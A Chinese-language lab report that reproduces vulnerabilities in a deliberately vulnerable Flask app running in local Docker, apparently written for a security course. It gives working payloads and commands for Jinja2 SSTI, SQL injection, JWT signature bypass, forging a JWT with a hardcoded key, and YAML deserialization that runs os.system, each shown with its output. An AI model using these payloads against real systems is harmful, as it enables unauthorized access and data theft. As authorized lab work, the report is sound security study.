Vulnerable-Flask-App 漏洞复现报告
适用环境:本机 Docker 靶场
Vulnerable-Flask-App,地址http://127.0.0.1:5050/。以下操作仅用于授权的本地安全实验环境。
报告信息
| 项目 | 内容 |
|---|---|
| 靶场项目 | Vulnerable-Flask-App |
| 靶场路径 | D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App |
| 访问地址 | http://127.0.0.1:5050/ |
| 复现系统 | Windows PowerShell + Docker |
| 截图目录 | D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\screen |
| 复现目标 | 对测试报告中可动态验证的漏洞进行实际复现,并记录命令、原理和结果证据 |
复现结论
本次复现覆盖了 404 页面 SSTI、搜索接口 SQL 注入、JWT
签名校验绕过、YAML 不安全反序列化、硬编码 JWT 密钥与 MD5
弱哈希等问题。截图证据已插入到各漏洞的“复现结果”位置;其中涉及
PowerShell 直接传递 JSON 导致 400 Bad Request
的截图,作为复现过程中的问题定位证据保留。
1. 环境准备
进入项目目录:
cd "D:\Nnutural\Desktop\BUPT_6\网络安全综合实验\test\Vulnerable-Flask-App"构建镜像:
docker build -t vulnerable-flask-app .启动靶场:
docker run -d --rm --name vulnerable-flask-app -p 5050:5050 vulnerable-flask-app如果容器名已存在,先停止旧容器:
docker stop vulnerable-flask-app验证首页:
curl.exe --noproxy "*" -i http://127.0.0.1:5050/预期结果:
HTTP/1.1 200 OK
You have reached the Vulnerable App.
说明:如果直接访问出现
502 Bad Gateway,通常是本机代理干扰了
127.0.0.1 请求。命令行中统一使用 --noproxy "*"
绕过代理。
2. 获取合法 JWT Token
部分接口需要 Authorization
请求头。先使用内置账号登录。
在 Windows PowerShell 中,直接把 JSON 写在
curl.exe --data
后面时,双引号有时会被命令行解析过程改写,导致 Flask 收到的不是合法
JSON,并返回:
{
"Error": "Unable to recognize Input"
}因此建议先把 JSON 请求体写入文件,再用
--data-binary "@文件名" 发送:
'{"username":"admin","password":"admin123"}' | Set-Content -NoNewline -Encoding ascii ".\login.json"
$login = curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/login" `
-H "Content-Type: application/json" `
--data-binary "@login.json"
$login
$tokenLine = $login | Select-String -Pattern '^Authorization:\s*(.+)$'
if (-not $tokenLine) {
Write-Host "没有拿到 Authorization 头,请检查上面的登录响应。"
} else {
$token = $tokenLine.Matches[0].Groups[1].Value.Trim()
$token
}预期结果:
HTTP/1.1 200 OK
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{"Authenticated": true, "User": "admin"}
该步骤获取到的 $token 后续用于访问 /search
等需要认证的接口。
3. CRITICAL-1:404 页面 SSTI
漏洞位置
app/app.py 的 404 错误处理函数:
template = '''...<h3>%s</h3>...''' % request.url
return render_template_string(template, dir = dir, help = help, locals = locals),404漏洞原理
应用把用户可控的 request.url
直接拼接进模板字符串,然后调用 render_template_string()
渲染。Jinja2 会把 {{ ... }}
当作模板表达式执行,所以访问一个不存在的、带模板表达式的 URL
时,可以触发服务端模板注入。
具体操作
curl.exe --noproxy "*" --globoff -i "http://127.0.0.1:5050/{{7*7}}"复现结果
响应状态码是 404,但页面中的 URL 片段已经从
{{7*7}} 被计算成 49:
<h3>http://127.0.0.1:5050/49</h3>截图证据:

结论:服务端执行了 Jinja2 表达式,SSTI 成立。
4. CRITICAL-3:搜索接口错误处理 SSTI
漏洞位置
/search 接口异常处理逻辑:
template = '''...<h3>%s</h3>...''' % str(e)
return render_template_string(template, dir=dir, help=help, locals=locals), 404漏洞原理
/search 先把用户输入拼接到 SQL 语句中。如果输入触发 SQL
语法错误,异常字符串 str(e)
会包含部分用户输入。随后应用又把该异常字符串拼入
render_template_string(),导致异常信息中的 Jinja2
表达式被二次解析执行。
具体操作
先确保已经按第 2 节获取 $token,然后执行:
'{"search":"''{{7*7}}"}' | Set-Content -NoNewline -Encoding ascii ".\search-ssti.json"
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
-H "Content-Type: application/json" `
-H "Authorization: $token" `
--data-binary "@search-ssti.json"复现结果
响应状态码为 404,错误页面中可以看到
{{7*7}} 已经变成 49:
unrecognized token: "{" [SQL: u"SELECT first_name, last_name, username FROM customer WHERE username = ''49';"]
复现过程中的注意事项:
直接在 PowerShell 中使用 --data $body 传递 JSON
时,可能会导致 Flask/Tornado 返回
400 Bad Request,此时请求尚未进入漏洞触发逻辑。下图记录了该问题,因此本报告后续统一使用
Set-Content 写入 JSON 文件,再通过
--data-binary "@文件名" 提交。

结论:用户输入经过 SQL 错误信息进入模板渲染流程,SSTI 成立。
5. CRITICAL-4:SQL 注入
漏洞位置
/search 接口直接拼接 SQL:
str_query = "SELECT first_name, last_name, username FROM customer WHERE username = '%s';" % search_term
search_query = db.engine.execute(str_query)漏洞原理
用户输入没有使用参数化查询,而是通过 %s 直接拼接进 SQL
字符串。攻击者可以闭合原有单引号,并追加 OR '1'='1',使
WHERE 条件恒真,从而绕过筛选条件读取全部客户记录。
具体操作
正常搜索一个不存在的用户名:
'{"search":"no_such_user"}' | Set-Content -NoNewline -Encoding ascii ".\search-normal.json"
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
-H "Content-Type: application/json" `
-H "Authorization: $token" `
--data-binary "@search-normal.json"预期结果为空数组:
[]执行 SQL 注入:
'{"search":"admin'' OR ''1''=''1"}' | Set-Content -NoNewline -Encoding ascii ".\search-sqli.json"
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/search" `
-H "Content-Type: application/json" `
-H "Authorization: $token" `
--data-binary "@search-sqli.json"复现结果
接口返回多条客户记录,而不是只返回指定用户名:
[
["Nathan", "Young", "millerjessica"],
["Kara", "Kemp", "martineznorma"],
["Monica", "Gray", "olsoncaitlin"],
["Elizabeth", "Flores", "dleon"],
["Shaun", "Sawyer", "gwagner"]
]截图证据:

结论:SQL 注入成立,攻击者可以绕过查询条件读取数据库中的客户信息。
6. HIGH-1:JWT 签名校验绕过
漏洞位置
/get/<cust_id> 接口使用了不安全的 JWT
解码函数:
def insecure_verify(token):
decoded = jwt.decode(token, verify = False)
print(decoded)
return True漏洞原理
jwt.decode(token, verify=False) 会跳过 JWT
签名校验。只要请求头中存在一个格式像 JWT 的字符串,服务端就会返回
True,从而允许访问客户详情接口。
具体操作
直接构造一个伪造签名的 JWT:
curl.exe --noproxy "*" -i -s "http://127.0.0.1:5050/get/1" `
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.fakesig"复现结果
即使签名是 fakesig,接口仍返回客户敏感信息:
{
"cc_num": "6011759770900640",
"email": "michael55@hotmail.com",
"firstname": "Nathan",
"id": 1,
"lastname": "Young",
"username": "millerjessica"
}截图证据:

结论:/get/<cust_id>
存在认证绕过,可未授权读取客户信息和信用卡号字段。
7. CRITICAL-2:YAML 不安全反序列化
漏洞位置
/yaml_hammer 接口使用了不安全的
yaml.load():
with open(file_path, 'r') as yfile:
y = yfile.read()
ydata = yaml.load(y)漏洞原理
旧版本 PyYAML 的 yaml.load() 默认允许解析 Python
对象构造语法。攻击者上传带有 !!python/object/apply 的 YAML
文件时,可以触发服务端调用指定 Python 函数。本复现使用无破坏性的
id 命令,并把结果写入容器
/tmp/vfa_yaml_poc.txt。
具体操作
创建 PoC 文件:
Set-Content -NoNewline -Path ".\poc-yaml-id.yaml" -Value '!!python/object/apply:os.system ["id > /tmp/vfa_yaml_poc.txt"]'上传到 /yaml_hammer:
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/yaml_hammer" `
-F "file=@poc-yaml-id.yaml"检查容器内命令执行结果:
docker exec vulnerable-flask-app sh -c "ls -l /tmp/vfa_yaml_poc.txt && cat /tmp/vfa_yaml_poc.txt"复现结果
HTTP 页面中返回 0,表示 os.system()
命令执行成功:
<p>
0
</p>容器内可以看到命令输出文件:
-rw-r--r-- 1 root root 39 Jul 7 07:06 /tmp/vfa_yaml_poc.txt
uid=0(root) gid=0(root) groups=0(root)
截图证据:



结论:上传 YAML 文件后,服务端执行了系统命令,不安全反序列化成立。
8. MEDIUM-2:硬编码 JWT 密钥导致 Token 伪造
漏洞位置
应用把 JWT HMAC 密钥硬编码为弱口令:
app.config['SECRET_KEY_HMAC'] = 'secret'漏洞原理
/fetch/customer 使用 verify_jwt() 校验 JWT
签名和 iss 字段。由于签名密钥直接写在源码中且为弱口令
secret,攻击者获得源码后可以自行签发满足校验条件的
JWT,从而访问受保护接口。
具体操作
在容器内使用同版本 PyJWT 生成伪造 Token:
$forged = docker exec vulnerable-flask-app python -c "import jwt, datetime; print(jwt.encode({'user':'admin','exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=240),'nbf': datetime.datetime.utcnow(),'iss':'we45','iat': datetime.datetime.utcnow()}, 'secret', algorithm='HS256'))"
$forged = $forged.Trim()
$forged使用伪造 Token 访问严格校验的 /fetch/customer:
'{"id":1}' | Set-Content -NoNewline -Encoding ascii ".\fetch-customer.json"
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/fetch/customer" `
-H "Content-Type: application/json" `
-H "Authorization: $forged" `
--data-binary "@fetch-customer.json"复现结果
接口返回客户详情:
{
"cc_num": "6011759770900640",
"email": "michael55@hotmail.com",
"firstname": "Nathan",
"id": 1,
"lastname": "Young",
"username": "millerjessica"
}截图证据:

结论:硬编码弱密钥可用于伪造合法 JWT,进而访问受保护接口。
9. MEDIUM-1:MD5 弱哈希补充验证
漏洞位置
/register/user 中使用 MD5 处理密码:
hash_pass = hashlib.md5(password).hexdigest()漏洞原理
MD5 已不适合用于密码存储。它速度快、无盐、抗碰撞能力弱,泄露后很容易被彩虹表或常见密码库反查。
当前靶场中的实际情况
当前版本的 /register/user 接口在计算 MD5 后会执行:
new_user = User(username, hash_pass)但该 SQLAlchemy Model 没有定义接收位置参数的构造函数,因此接口会报错,无法完整完成“注册并入库”的动态复现:
curl.exe --noproxy "*" -i -s -X POST "http://127.0.0.1:5050/register/user" `
-H "Content-Type: application/json" `
--data '{"username":"md5demo","password":"admin123"}'实测响应:
{
"Error": "__init__() takes exactly 1 argument (3 given)"
}因此该点更适合作为源码级验证,而不是本次靶场演示的主漏洞。
补充验证
在相同 Python 2 环境中计算 admin123 的 MD5:
docker exec vulnerable-flask-app python -c "import hashlib; print(hashlib.md5('admin123').hexdigest())"复现结果:
0192023a7bbd73250516f069df18b500
截图证据:

结论:源码确实使用 MD5 处理密码,但当前接口存在额外构造函数错误,导致不能通过接口观察最终入库结果。
10. 复现结论汇总
| 编号 | 漏洞 | 是否可在当前靶场动态复现 | 关键结果 |
|---|---|---|---|
| CRITICAL-1 | 404 SSTI | 是 | {{7*7}} 渲染为 49 |
| CRITICAL-2 | YAML 不安全反序列化 | 是 | 容器内生成 /tmp/vfa_yaml_poc.txt,内容为
uid=0(root) |
| CRITICAL-3 | /search 错误处理 SSTI |
是 | SQL 错误信息中 {{7*7}} 渲染为 49 |
| CRITICAL-4 | SQL 注入 | 是 | OR '1'='1 返回全部客户记录 |
| HIGH-1 | JWT 签名校验绕过 | 是 | 伪造 fakesig Token 仍能读取 /get/1 |
| MEDIUM-2 | 硬编码 JWT 密钥 | 是 | 使用 secret 自签 Token 可访问
/fetch/customer |
| MEDIUM-1 | MD5 弱哈希 | 部分 | 源码和哈希结果可验证,但注册接口因构造函数错误无法入库 |